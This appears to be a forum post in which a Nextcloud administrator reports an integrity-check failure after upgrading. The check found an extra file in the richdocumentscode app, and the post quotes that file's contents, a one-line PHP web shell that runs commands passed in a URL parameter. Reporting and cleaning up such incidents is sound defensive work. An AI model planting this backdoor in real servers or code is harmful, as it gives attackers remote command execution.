Hi, i have updated nextcloud to version 35.0.2 and the integrity scan report an additional file:
Technical information
=====================
The following list covers which files have failed the integrity check. Please read
the previous linked documentation to learn more about the errors and how to fix
them.
Results
=======
- richdocumentscode
- EXTRA_FILE
- Nx_33143.php
Raw output
==========
Array
(
[richdocumentscode] => Array
(
[EXTRA_FILE] => Array
(
[Nx_33143.php] => Array
(
[expected] =>
[current] => 4b1c4012c882c512b1e4bb2938c554359f6a268f2a5d10471dbf6d08cce31c7b0e8cc24e5f709dc227fc3e2a34f685089219be2df4713f1a9933348ef4cbfe82
)
)
)
)
The file was located in ./apps/richdocumentscode/Nx_33143.php and contains a simple backdoor:
<?php system($_GET[c]);
I remove the file and i removed the unused module richdocumentscode from my server.